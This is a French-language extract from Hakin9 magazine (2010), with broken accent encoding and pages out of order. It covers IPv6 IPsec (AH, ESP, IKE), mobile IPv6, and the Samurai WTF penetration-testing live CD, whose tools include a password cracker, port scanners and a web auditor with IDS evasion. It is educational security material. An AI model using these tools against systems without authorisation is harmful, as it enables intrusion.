Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 34: hakin9_05_2010_FR

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

